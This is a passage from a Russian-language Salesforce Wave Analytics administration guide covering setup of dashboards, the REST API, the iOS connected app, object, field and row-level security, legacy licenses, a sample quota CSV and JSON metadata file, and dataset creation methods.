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Вдиалоговомокне предоставления общего доступа партнерыи клиенты сообщества выделяются оранжевымцветом
для их обозначения в качестве внешних пользователей. Им предоставляется только уровень доступа «Гость». Они
могут детализировать и просматривать панелимониторинга прямо из сообщества, тогда как все другие области Wave
остаются недоступными.

Подробную информацию о создании сообществ см. в документе «Начало работы с сообществами».

Предоставление пользователям доступа к конструктору панели мониторинга Flex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к новому или
старому конструктору:
• “«Создание и

редактирование панелей
мониторинга Wave
Analytics»

Для предоставления пользователям доступа к конструктору панели мониторинга Flex
необходимовключитьэтуфункциюиназначитьпользователямполномочие «Создание
и редактирование панелей мониторингаWave Analytics». Если полномочие назначено,
но функция не включена, пользователи не получат доступ к новому конструктору, но
смогут использовать прежний.

1. Введите строку Wave Analytics в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Настройка».

2. ВыберитепунктВключитьконструкторпанелимониторинга Flex (бета-версия)
и нажмите кнопку «Сохранить».

3. Каждому пользователю, создающему панели мониторинга, следует назначить
пользовательское полномочие «Создание и редактирование панелей мониторинга
Wave Analytics».
Все пользователи для каждойпанелимониторинга могут пожеланиюиспользовать
старый или новый конструктор.
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Включение Wave REST API

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров:
• “«Управление Wave

Analytics»

С помощью Wave REST API можно программно получать доступ к наборам данных и
представлениям Lens Wave Analytics. Включение этой опции ведет к переопределению
полномочия «APIEnabled» для отдельных пользователей и предоставляет всем
пользователям Wave (включая пользователей сообщества) доступ к Wave API.

1. Введите строку Wave Analytics в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Настройка».

2. Выберите пункт «Включить Wave API для всех пользователей Wave».

3. Нажмите кнопку «Сохранить».

Связанное приложение для приложения Wave Analytics for iOS

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для установки и настройки
связанного приложения:
• “«Управление Wave

Analytics»

Установите связанное приложение Analytics for iOS для предоставления мобильным
клиентам возможности удобного подключения к организации. Связанное приложение
позволяет контролировать пользователей, выполняющих вход, а также определять
способы предоставления общего доступа к изображениям и ссылкам, используемые
мобильными клиентами.

1. Выполните вход от имени администратора и откройте страницу
https://login.salesforce.com/packaging/installPackage.apexp?p0=04tB0000000DKTA.

2. Выберите «Установить для всех пользователей».

Если связанное приложение устанавливается только для определенных ролей, то
только данные клиенты подчиняются применяемым политикам.

3. Нажмите кнопку «Готово» и откройте пакет Salesforce Insights for iOS.

4. Чтобынастроитьполитикиидругиепараметры, щелкните«Правка». Позавершении
сохраните внесенные изменения.

Дополнительнуюинформациюопараметрах связанного приложения см. в разделе
«Редактирование связанного приложения».

5. Чтобывыключитьпараметрыобщегодоступадлямобильныхпользователей, нажмите
кнопку «Создать» в разделе «Настраиваемые атрибуты».

Поумолчаниювключенывсепараметрыобщегодоступа. Чтобывыключитьпараметр,
добавьтесоответствующийключатрибутаивведите «false» какзначениеатрибута.
Список поддерживаемых ключей см. в таблице ниже.
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Элементы и способы предоставления общего
доступа

Ключ атрибута

Изображения посредством AirDropSHARE_IMAGE_AIRDROP

Изображения из фотопленкиSHARE_IMAGE_CAMERAROLL

Изображение, которое в настоящее время открыто на
мобильном устройстве

SHARE_IMAGE_OPEN

Изображения в приложении Salesforce1SHARE_IMAGE_S1

Изображения посредством эл. почтыSHARE_IMAGE_EMAIL

Ссылки посредством AirDropSHARE_LINK_AIRDROP

Ссылка, которая в настоящее время находится в буфере
обмена мобильного устройства

SHARE_LINK_CLIPBOARD

Ссылки в приложении Salesforce1SHARE_LINK_S1

Ссылки посредством эл. почтыSHARE_LINK_EMAIL

Мобильные клиенты могут просматривать активы Wave
Analytics в результатах поиска Spotlight

SPOTLIGHT_SEARCH

Прим.: Чтобыприменить настраиваемые атрибуты к подключеннымпользователям, отмените их полномочия
и попросите выполнить повторное подключение.

6. Чтобыпросмотретьиопределить способподключениямобильныхклиентовкорганизации, поддерживающей Wave,
введитестроку «Связанные приложения» вполе «Быстрый поиск» меню «Настройка» ивыберитепункт«Использование
OAuth связанных приложений».

При необходимости заблокируйте сеансы пользователей, отмените полномочия отдельных пользователей и
детализируйтесведенияопользователях. Дополнительнуюинформациюсм. вразделе «Отслеживаниеиспользования
для связанного приложения».

Руководство по обеспечению безопасности Wave Analytics

Wave Analyticsподдерживаетразныеуровнибезопасности, которыемогутиспользоватьсяорганизациейдляпредоставления
нужному пользователю доступа к нужным данным.
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• Администраторможет внедрять безопасностьна уровне объекта иполя для управления доступом к данным Salesforce.
Например, администратор может ограничивать доступ для предотвращения загрузки конфиденциальных данных
Salesforce внаборыданных. Данныйдокументописываетпорядокприменениябезопасностина уровнеобъектаиполя
к данным Salesforce, используемыйWave Analytics, а также порядок настройки полномочий для объектов и полей
Salesforce.

• Ответственные за наборы данных могут внедрять безопасность на уровне строки для каждого создаваемого набора
данныхсцельюограничениядоступа к его записям. Еслинаборданныхнеиспользуетбезопасностьна уровне строки,
то пользователи, имеющие доступ к набору данных, могут просматривать все записи. Данный документ описывает
порядок настройки безопасности на уровне строки для наборов данных и содержит некоторые примеры на основе
наборов данных, созданных из данных Salesforce и внешних данных.

• Ответственные за приложения, администраторы и пользователи с уровнем доступа «Менеджер» могут управлять
доступом к наборам данных, представлениям Lens и панелям мониторинга внутри приложений. Данный документ
описываетразныеуровнидоступадляприложенийипорядокпредоставлениядругимпользователямобщегодоступа
к наборам данных, представлениям Lens и панелям мониторинга внутри приложения.

Прим.: Wave Analytics не поддерживает параметры общего доступа, настроенные в системе Salesforce. При
использованииWave Analytics безопасность настраивается отдельно. Wave Analytics поддерживает надежную
функциюбезопасности на уровне строки, позволяющуюмоделировать разные типы управления доступом для
наборов данных.

Дополнительную информацию о внедрении системы безопасностиWave Analytics см. в Руководстве по внедрению
системы безопасностиWave Analytics.

Доступ к данным Salesforce

Wave Analytics требует доступ к данным Salesforce при извлечении данных и их использовании в контексте безопасности
строки. Wave Analytics получает доступ к данным Salesforce на основе полномочий двух внутренних пользователейWave
Analytics: пользователь интеграции и пользователь безопасности.

Wave Analytics использует полномочия пользователя интеграции для извлечения данных из объектов и полей Salesforce
при выполнении задания потока данных. Ввиду предоставления пользователю интеграции доступа «Просмотр всех
данных», рекомендуем при необходимости ограничить доступ к отдельным объектам и полям, содержащим
конфиденциальные данные. Если поток данных позволяет извлекать данные из объекта или поля, недоступного
пользователю интеграции, то задание потока данных не выполняется.

Wave Analytics использует полномочия пользователя безопасности для получения доступа к объекту «Пользователь» и
его полям при запросе набора данных, использующего безопасность строки на основе объекта «Пользователь». Каждое
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поле объекта «Пользователь», добавленное в предикат, должнобыть доступнопользователюбезопасности какминимум
для чтения. Предикат — это условие фильтра, определяющее безопасность строки для набора данных. По умолчанию
пользователю безопасности предоставляется полномочие для чтения всех стандартных полей объекта «Пользователь».
При использовании предиката на основе настраиваемого поля рекомендуем предоставить пользователю безопасности
доступ для чтения данного поля. При отсутствии доступа для чтения всех полей объекта «Пользователь», добавленных
в выражение предиката, запрос набора данных, к которому применяется предикат, инициирует отображение ошибки.

Управление доступом к объектам и полям Salesforce

Wave Analytics требуетдоступкданным Salesforce приизвлеченииданныхиихиспользованиивконтекстебезопасности
строки. Чтобыопределитьдоступпотокаданныхкданным Salesforce, настройтеполномочияпользователяинтеграции
для объектов и полей Salesforce. Чтобы включить безопасность строки на основе настраиваемых полей объекта
«Пользователь», настройте полномочия пользователя безопасности.

СМ. ТАКЖЕ:

Управление доступом к объектам и полям Salesforce

Управление доступом к объектам и полям Salesforce

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для клонирования
профиля пользователя:

• «Управление
профилями и наборами
полномочий»

Для редактирования
полномочий объекта:

• «Управление
профилями и наборами
полномочий»

И

«Настройка
приложения»

Wave Analytics требует доступ к данным Salesforce при извлечении данных и их
использовании в контексте безопасности строки. Чтобы определить доступ потока
данныхкданным Salesforce, настройтеполномочияпользователяинтеграциидляобъектов
иполей Salesforce. Чтобывключитьбезопасность строкинаосновенастраиваемыхполей
объекта «Пользователь», настройте полномочия пользователя безопасности.

При настройке полномочий для пользователя интеграции или пользователя
безопасности рекомендуем изменить клонированную версию профиля пользователя.

1. Введите строку «Профили» вполе «Быстрый поиск» вменю «Настройка», выберите
пункт «Профили» и укажите профиль пользователя.

Выберите профиль «Пользователь интеграции Analytics Cloud» для пользователя
интеграции. Выберите профиль «Пользователь безопасности Analytics Cloud» для
пользователя безопасности.

2. Чтобы клонировать профиль пользователя, нажмите кнопку «Клонировать».

3. Введите имя и сохраните клонированный профиль пользователя.

4. Щелкните ссылку «Параметры объекта».

5. Щелкните имя нужного объекта Salesforce.

6. Нажмите кнопку «Правка».

a. Чтобы включить полномочие для объекта, установите флажок «Чтение» в разделе «Полномочия объекта».

b. Чтобы включить полномочие для поля объекта, установитефлажок «Чтение» напротив нужного поля в разделе
«Полномочия поля».

Прим.: Полномочия для стандартных полей объекта «Пользователь» не могут быть изменены.

7. Сохраните параметры объекта.

8. Назначьте клонированный профиль пользователя пользователю интеграции или пользователю безопасности.

a. Введите строку «Пользователи» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт «Пользователи».

3761

Настройка платформы WaveAnalytics



b. Выберите нужного пользователя.

c. Нажмите кнопку «Правка».

d. Выберите нужный профиль пользователя в поле «Профиль».

e. Нажмите кнопку «Сохранить».

9. Убедитесьвпредоставлениипользователюинтеграцииилипользователюбезопасностисоответствующихполномочий
для полей объектов.

Настройка платформы Wave Analytics с лицензиями, приобретенными
до 20 октября 2015 года
Если вы приобрели лицензии Builder или Explorer дляWave Analytics до 20 октября 2015 года, вы можете и дальше с их
помощью настраивать платформу Wave для пользователей вашей организации либо можете перейти на новую
однопользовательскую лицензию платформыWave Analytics.

Прим.: Эта информация касается только клиентов, которые приобрели лицензии Wave Analytics до 20 октября 2015
года и продолжают использовать лицензии набора полномочий Analytics Cloud Builder или Analytics Cloud Explorer,
не переходя на новую лицензию платформы Analytics Cloud Wave. Если вы приобрели Wave 20 октября 2015 года
или позже, перейдите к разделу «Настройка платформы Wave».

Важное замечание: Если вы переходите с предыдущих лицензий платформы Analytics Cloud Builder или Analytics
Cloud Explorer на однопользовательскую лицензию платформыWave Analytics, ознакомьтесь с разделом «Переход с
лицензий Wave, приобретенных до 20.10.2015, на новые лицензии платформы Wave.

Лицензия Analytics Cloud Wave Platform
Лицензия платформы Analytics Cloud Wave, приобретенная до 20 октября 2015 года, позволяет включатьWave Analytics в
организации. По договоренности каждая предыдущая лицензия Wave Platform может назначаться не более
400 пользователям. При необходимости приобретите дополнительные лицензии Wave Platform.

Каждая предыдущая лицензия Wave Platform позволяет:

• сохранять не более 250 000 000 строк в окончательных зарегистрированных наборах данных;

• выполнять не более 50 параллельных запросов вWave Analytics.

Лицензии набора полномочий Analytics Cloud
Каждому пользователю требуется лицензия набора полномочий Analytics Cloud для использования данного продукта.
Лицензия набора полномочий определяет полномочия, которые могут быть назначены пользователю. Администратор
назначает лицензии набора полномочий пользователям.

Salesforce предоставляет следующие лицензии набора полномочий как часть лицензий платформыWave Analytics,
проданных до 20 октября 2015 года.

• Лицензия набора полномочий Analytics Cloud Builder предоставляет пользователям доступ ко всем функциямWave
Analytics.

• Лицензия набора полномочий Analytics Cloud Explorer позволяет пользователям загружать внешние данные вWave
Analytics и просматривать данные.

Ниже указаны полномочия пользователейWave Analytics, входящие в каждую лицензию набора полномочий.
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ОписаниеВходит ли в лицензию набора
полномочий Explorer или Builder?

Полномочие пользователя

Создание и редактирование панелей
мониторинга Wave Analytics.

Только Builder“«Создание и редактированиепанелей
мониторингаWave Analytics»

Создание и публикация приложений
Wave Analytics.

Только Builder“СозданиеприложенийWave Analytics»

Загрузка, выгрузка, запуск, остановка и
повторное планирование потока

Только Builder“Изменение потока данныхWave
Analytics»

данных. Просмотр потока данных и
системных заданий на странице
отслеживания данных.

Доступ ко всем функциям Wave
Analytics. Предоставляет возможности
на уровне администратора Wave.

Только Builder“УправлениеWave Analytics»

Загрузка внешних данных в Wave
Analytics для создания набора данных.

Builder и Explorer“Загрузка внешних данных вWave
Analytics

Просмотрпотокаданныхисистемных
заданий на странице отслеживания
данных.

Использование Wave Analytics, а также
просмотр наборов данных,

Builder и Explorer“ИспользованиеWave Analytics»

представлений Lens и панелей
мониторинга, доступныхпользователю
для просмотра. Автоматически
включенопривыборелюбогодругого
полномочия Wave.

Прим.: Еслиприсозданиинаборовполномочийдляпользователей Wave выбрать любоедругоеполномочиеWave
Analytics, автоматически будет включено и полномочие «Wave Analytics».

Назначать более ранние лицензии набора полномочийWave Analytics можно одновременно с любой из следующих
пользовательских лицензий Salesforce:

• Force.com (app subscription)

• Force.com (one app)

• Full CRM

• Salesforce Platform

• Salesforce Platform One

СМ. ТАКЖЕ:

Переход с лицензий Wave, приобретенных до 20.10.2015 на новые лицензии платформы Wave
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Переход с лицензий Wave, приобретенных до 20.10.2015 на новые
лицензии платформы Wave

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Для завершенияперехода спредыдущихлицензий Analytics Cloud Builder и Analytics Cloud
Explorer, приобретенныхдо 20 октября 2015 года, нановуюлицензиюплатформы Analytics
Cloud — Wave Analytics, может потребоваться настроить новые наборы полномочий для
пользователей Wave вашей организации.

Когда Salesforce инициализирует новую лицензию платформы Analytics Cloud — Wave
Analytics для вашей организации, может потребоваться настройка новой лицензии для
отдельных пользователей.

• Пользователилицензии Builder.Пользователисдоступом Wave слицензиейнабора
полномочий Analytics Cloud Builder должны продолжать использовать платформу
Wave Analytics без дополнительных настроек. Лицензия Builder просто
переименовывается в платформа Analytics Cloud — Wave Analytics, иэта лицензиянабора
полномочий отобразится в настройке Salesforce.

• Пользователи лицензии Explorer. Во время инициализации новой лицензии
Salesforce может удалить лицензию Analytics Cloud Explorer из вашей организации. В
таком случае вместо лицензии Explorer отобразится новая лицензия платформы Analytics Cloud — Wave, ипотребуется
соответствующаянастройка пользователей. Если лицензия набора полномочий Explorer отображается по-прежнему,
повторять настройку для пользователей Explorer не нужно.

Если пользователи вашей организации требуют настройки новой лицензии платформы Analytics Cloud — Wave (даже
при использовании предыдущей лицензии Wave), выполните действия, описанные в разделе «Настройка платформы
Wave»настранице3748. Длянихнеобходимоназначитьлицензиюновогонабораполномочий, создатьодинилинесколько
новых наборов полномочий и назначить их пользователям.

Обновление набора данных «План продаж (Цель)» приложения Sales Wave

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и управления
приложениями Wave:
• «Управление

шаблонными
приложениями Wave
Analytics»

• “Изменение потока
данных Wave Analytics»

Есливыдалиположительныйответна вопросмастера конфигурацииоботслеживании
плановпродажвашейкомпаниинауровнепользователей, тодлявключенияинформации
плановпродажвпанелимониторинга требуетсяобновитьнаборданных «Планпродаж»
приложения Sales Wave, чтобы этот набор отображался на панели.

Создание приложения Sales Wave инициирует одновременное создание набора данных
«Планпродаж (Цель)». Преждечемпроанализироватьспособ, используемыйучастниками
рабочей группыдляотслеживанияежемесячных, ежеквартальныхилиежегодныхпланов
продаж в Sales Wave, рекомендуем обновить набор данных «План продаж» путем
выполнения указанных ниже действий. Рекомендуем просмотреть видеоролик
Создание приложения Sales Wave, часть 2: загрузка CSV-файла плана продаж и
планирование потока данных, в котором демонстрируется выполнение описанных
действий.

Прим.: Обрабатываемые CSV-файлы, подлежащиеимпортувSales Wave, должныоткрыватьсяпосредствомтекстового
редактора. Открытие данных файлов посредством Microsoft Excel или другого редактора электронных таблиц, как
правило, инициирует повторное форматирование CSV-файлов и препятствует их использованию в Sales Wave.

Прим.: Если компания не отслеживает планы продаж на уровне пользователя, то данное действие может быть
пропущено. Это действие следует выполнять только при положительном ответе на вопрос мастера конфигурации
об отслеживании планов продаж в компании на уровне пользователей.
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1. Создайте CSV-файл, содержащийследующиеполяв указанномпорядке: QuotaAmount, StartDate (вформате гггг-мм-дд),
OwnerName и Username. Пример см. в разделе «Пример CSV-файла приложения Sales Wave».

2. Сохраните файл в области, которую легко запомнить.

3. Откройте начальную страницуWave Analytics системы Salesforce и найдите набор данных «План продаж (Цель)».

4. Наведите указатель мыши на набор данных, а затем щелкните «Правка».

5. Система Salesforce отобразит экран редактирования наборов данных для набора данных плана продаж. В разделе
обновления данных нажмите «Выберитефайл или перетащитефайл

сюда...»

6. Воткрывшемся диалоговомокне перейдите к CSV-файлу, созданному в действии 1, и дваждыщелкните данныйфайл.

7. Щелкните «Обновить набор данных».

8. Если фискальный период не совпадает с календарным периодом (что происходит, если период начинается с даты,
отличной от 1 января), также следует обновить файл метаданных плана продаж.

a. Скопируйте JSON из файла набора данных «План продаж приложения Sales Wave» в формате JSON и вставьте его
в выбранный текстовый редактор.

b. Изменитезначениепараметра "fiscalMonthOffset" с 4 начисло, соответствующеемесяцуначалафискального
периода. В метаданных Sales Wave «0» соответствует январю, «1» — февралю и т.д. до «11», соответствующему
декабрю.

c. Сохраните файл на рабочий стол и загрузите его в приложение Sales Wave, перетаскивая в «Выберитефайл или
перетащитефайл сюда...» в разделе добавления файла метаданных (JSON) на экране редактирования наборов
данных.

d. Щелкните «Обновить набор данных».

9. После загрузки данных плана продаж запустите поток данных повторно, чтобы обновить панели мониторинга.
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a. Щелкните значок меню в виде шестеренки в верхнем правом углу экрана Sales Wave и выберите отслеживание
данных.

b. В меню, которое находится в верхней левой части экрана отслеживания данных, выберите представление потока
данных.

c. Найдите приложение. Возможно, для этого потребуется прокрутить страницу. Откройте меню, расположенное
в дальнем правом углу экрана рядом со значком и названием приложения. Нажмите кнопку

запуска. Готово.
Поток данных гарантирует, что в приложении Sales Wave будут новейшие данные по продажам вашей компании.
Дополнительные сведения о потоках данных см. в разделе Поддержание актуальности данных приложения Sales
Wave посредством планирования потока данных.
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Пример CSV-файла приложения Sales Wave
Ниже приведен пример CSV-файла, создаваемого для обновления набора данных «План продаж (Цель)» приложения
Sales Wave.

Прим.: Данныйфайлявляется толькопримером. Рекомендуемсоздать уникальный CSV-файлнаосновесобственных
данных Sales Cloud, включающий указанные ниже поля.

• QuotaAmount

• StartDate

• OwnerName

• Username

См. раздел «Обновление набора данных "План продаж (Цель)" приложения Sales Wave» на странице 3965.

Пример:

QuotaAmount,StartDate,OwnerName,Username
5000000,2014-01-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-02-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-03-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-04-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-05-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-06-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-07-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-08-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-09-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-10-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-11-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-12-01,Priya Anand,user9.kthjbnrxifyo@na2.com
5000000,2014-01-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-02-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-03-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-04-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-05-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-06-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-07-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-08-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-09-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-10-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-11-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com
5000000,2014-12-01,Nathan Sinha,user18.esm4nmdicvgc@na2.com

Файл набора данных «План продаж приложения Sales Wave» в формате
JSON
Используйте этот файл для обновления набора данных «План продаж приложения Sales Wave» с использованием даты
начала финансового года, если эта дата не соответствует 1 января.

Скопируйте содержимое этогофайла в выбранныйредакториизмените значение “fiscalMonthOffset”  (выделено
жирнымшрифтом) в данные месяца начала фискального периода. В метаданных Sales Wave «0» соответствует январю,
«1» — февралю и т.д. до «11», соответствующему декабрю. В коде, приведенном ниже, установлено значение «4»,
соответствующеемесяцумай. Используйтезначение, представляющеемесяцначалафискальногопериода. Затемсохраните
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файл и загрузите его в Sales Wave в соответствии с инструкциями раздела «Обновление набора данных "План продаж
(Цель)" приложения Sales Wave».

{
"objects": [

{
"connector": "CSV",
"fullyQualifiedName": "Quota_csv",
"label": "Quota.csv",
"name": "Quota_csv",
"fields": [

{
"fullyQualifiedName": "QuotaAmount",
"name": "QuotaAmount",
"type": "Numeric",
"label": "QuotaAmount",
"precision": 18,
"defaultValue": "0",
"scale": 0

},
{

"fullyQualifiedName": "StartDate",
"name": "StartDate",
"type": "Date",
"label": "StartDate",
"format": "yyyy-MM-dd",

"fiscalMonthOffset": 4,
"isYearEndFiscalYear": true

},
{

"fullyQualifiedName": "OwnerName",
"name": "OwnerName",
"type": "Text",
"label": "OwnerName"

},
{

"fullyQualifiedName": "Username",
"name": "Username",
"type": "Text",
"label": "Username"

}
]

}
]

}

Интеграция данных
Пользователимогутинтегрироватьданные Salesforce ивнешниеданные вWave Analytics дляпредоставлениявозможности
просмотра и визуализации данных посредством проводника и конструктора. Внешние данные — это данные, хранящиеся
вне системы Salesforce (например, данные из внешних приложений и электронных таблиц).
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Данные, загружаемые вWave Analytics, загружаются в наборы данных. Набор данных — это совокупность связанных
данных, хранящихся в ненормализованном, но сверхсжатом виде.

Ниже перечислены доступные методы создания наборов данных вWave Analytics.

Wave ConnectorExternal Data APIПользовательский
интерфейс
загрузки

Конструктор
наборов данных

JSON потока
данных

Microsoft ExcelВнешние данныеВнешние данныеОбъекты SalesforceОбъекты Salesforce;
существующие
наборы данных

Источник
данных

НетНетНетНетДаПодключение к
внешним
данным и
данным
Salesforce

ДаНет
(программный
доступ)

ДаДаНет (JSON)Графический
пользовательский
интерфейс

НетНетНетНетДаВозможность
одновременного
создания
нескольких
наборов данных

НетДаНетНетДаПоддержка
добавочного
извлечения

ВручнуюВручнуюВручнуюАвтоматическиАвтоматическиМетод
обновления
данных

НетНетНетНетДаВозможность
фильтрации
записей

НетНетНетНетДа
(дельта-столбцыи

Возможность
создания

столбцы
измерения)

столбцов при
создании
наборов данных

НетДаДаНетДаВозможность
переопределения
метаданных

3769

Интеграция данныхAnalytics



Наборы данных
Набор данных — это совокупность связанных данных, хранящихся в ненормализованном, но сверхсжатом виде.
Каждая лицензия на платформу предоставляет организации не более 250 миллионов строк данных, хранящихся во
всех зарегистрированных наборах данных.

Создание наборов данных посредством потока данных
Поток данныхможетиспользоваться для создания какминимумодногонабора данныхнаоснове данныхиз объектов
Salesforce или текущих наборов данных.

Трансформации
Подтрансформациейпонимается манипулирование данными. Пользователимогут добавлять трансформации в поток
данных для извлечения данных из объектов Salesforce или наборов данных, трансформировать наборы данных,
содержащие данные Salesforce или внешние данные, а также регистрировать наборы данных.

Создание набора данных посредством конструктора наборов данных
Рекомендуем использовать конструктор наборов данных для создания отдельного набора данных на основе данных
из одного или более объектов Salesforce. Конструктор наборов данных генерирует и добавляет связанныйфайл JSON
в файл определения потока данных. Набор данных создается при следующем выполнении потока данных. Данные,
используемые набором данных, обновляются при каждом выполнении потока данных. При необходимости
отредактируйте файл определения потока данных для добавления трансформаций, управляющих набором данных.

Приложение Wave Connector для данных Excel

ПриложениеWave Connector от компании Salesforce позволяет упростить импорт данных из приложения Microsoft
Excel 2013 вWave Analytics.

Создание набора данных посредством внешних данных
Чтобысоздатьнаборданных, загрузитевнешниеданныепосредствомпользовательскогоинтерфейсаилиинтерфейса
External Data API. Призагрузкефайлавнешнихданных (вформате CSV-файла, сжатогоилиархивногофайла) рекомендуем
также загрузитьфайлметаданных. Файлметаданныхсодержитатрибутыметаданных, описывающиеструктуруданных
в файле внешних данных. При загрузке CSV-файла из пользовательского интерфейсаWave Analytics автоматически
генерируетфайлметаданныхдляпросмотраивнесенияизменений. ПриотсутствиифайламетаданныхWave Analytics
импортирует все столбцыфайла внешних данных как измерения.

Редактирование набора данных
Редактирование набора данных позволяет изменять имя набора данных, приложение, предикат безопасности или
файл расширенных метаданных (XMD), связанный с набором данных. Редактирование наборов данных, созданных
из файла внешних данных, позволяет также загружать новый файл внешних данных или файл метаданных для
обновления данных или метаданных.

Удаление набора данных
Удалите ненужные наборы данных из личного или общедоступного приложения, доступного как минимум для
редактирования. Удаление наборов данных позволяет систематизировать содержимое и препятствует достижению
ограничения организации по количеству строк в зарегистрированных наборах данных.

Безопасность строки для наборов данных
По умолчаниюпользовательWave Analytics, имеющий доступ к набору данных, имеет доступ ко всем записям набора
данных. Темнеменее, чтобыограничитьдоступкзаписям, применитебезопасностьстрокикнаборуданных. Некоторые
записи могут содержать конфиденциальные данные, которые не должны быть общедоступными.

Синтаксис выражения предиката
При определении выражения предиката рекомендуем использовать допустимый синтаксис.
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Наборы данных
Набор данных — это совокупность связанных данных, хранящихся в ненормализованном, но сверхсжатом виде. Каждая
лицензия на платформу предоставляет организации не более 250 миллионов строк данных, хранящихся во всех
зарегистрированных наборах данных.

Ниже перечислены типы, применяемыеWave Analytics к каждому полю набора данных.

Дата
Дата может быть представлена днем, месяцем, годом и при необходимости временем. Даты поддерживают
группирование, фильтрацию и выполнение математических операций.

Измерение
Измерение — это качественное значение (например, регион, имя продукта и номер модели). Измерения позволяют
группировать и фильтровать данные. В отличие от мер, измерения не поддерживают математические операции.
Чтобы повысить производительность запроса, Wave Analytics индексирует все поля измерения в наборах данных.

Мера
Мера — этоколичественноезначение (например, доходикурсобмена). Мерыподдерживаютматематическиеоперации
(например, вычисление общего дохода и минимального курса обмена).

Чтобыограничить доступ к записям в наборе данных, примените параметрыбезопасности строки к любому созданному
набору данных.

Внимание: Преждечемсоздатьнаборданных, убедитесь, чтоисходныеданныесодержаткакминимумоднозначение
в каждом столбце. Столбцы, содержащие только нулевые значения, не будут созданы в наборах данных и не могут
использоватьсяпотокамиданных, представлениями Lensилипанелямимониторинга. Рекомендуемуказыватьнулевые
значения посредством стандартного значения (например, «недоступно» или «пусто»).

Обработка числовых значений в наборах данных
При внутреннем использованииWave Analytics хранит числовые значения в наборах данных как длинные значения.
Например, число «3200,99» сошкалой «2» хранитсякак «320099». Пользовательскийинтерфейспреобразуетсохраненное
значение обратно в десятичное для отображения числа «3200,99».

Обработка дат в наборах данных
При загрузке дат в набор данныхWave Analytics разбивает каждую дату на несколько полей (например, день, неделя,
месяц, квартали год) наоснове календарного года. Например, приизвлечениидатизполя CreateDate Wave Analytics
создает такие поля даты, как CreateDate_Day и CreateDate_Week. При отличиифинансового года от
календарногопользователимогут предоставлятьWave Analytics возможность созданияполей датыфинансового года.

JSON потока данных
Поток данныхможетиспользоваться для создания какминимумодногонабора данныхнаоснове данныхиз объектов
Salesforce или текущихнаборов данных. Поток данных — это наборинструкций, определяющихданные, подлежащие
извлечению из объектов Salesforce или наборов данных, способы трансформации наборов данных, а также наборы
данных, которые должны быть доступны для запросов.Поток данных позволяет управлять извлеченными данными
ипереопределятьметаданныепередих загрузкойвнаборданных. Ежедневное выполнениепотока данныхпозволяет
обновлять данные непрерывно.

Конструктор наборов данных
Рекомендуем использовать конструктор наборов данных для создания отдельного набора данных на основе данных
из одного или более связанных объектов Salesforce. С помощью конструктора наборов данных вы просто указываете
и щелкаете соответствующие объекты Salesforce для их определения и выбора.
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Приложение Wave Connector для данных Excel

ПриложениеWave Connector от компании Salesforce позволяет упростить импорт данных из приложения Microsoft
Excel 2013 вWave Analytics.

Пользовательский интерфейс загрузки внешних данных
Рекомендуемиспользоватьпользовательскийинтерфейс загрузкидля созданияотдельногонабораданныхнаоснове
внешнихданных. Принеобходимостизагрузитефайлвнешнихданных (вформате CSV-файла, сжатогоилиархивного
файла). Чтобы обновить данные, переопределите данные набора данных путем загрузки нового файла внешних
данных.

External Data API

Рекомендуем использовать интерфейс External Data API для создания отдельного набора данных на основе внешних
данных в CSV-формате. При необходимости воспользуйтесь интерфейсом API для редактирования набора данных
путем загрузки нового CSV-файла. При редактировании набора данных выберите необходимое действие: перезапись
всех записей, добавление записей, обновление записей или удаление записей.

Обработка числовых значений в наборах данных
При внутреннем использованииWave Analytics хранит числовые значения в наборах данных как длинные значения.
Например, число «3200,99» сошкалой «2» хранится как «320099». Пользовательскийинтерфейспреобразует сохраненное
значение обратно в десятичное для отображения числа «3200,99».

Wave Analytics позволяет хранить числовые значения от -36 028 797 018 963 968 до 36 028 797 018 963 967.

Внимание: При несоответствии числового значения данному диапазону могут отображаться непредвиденные
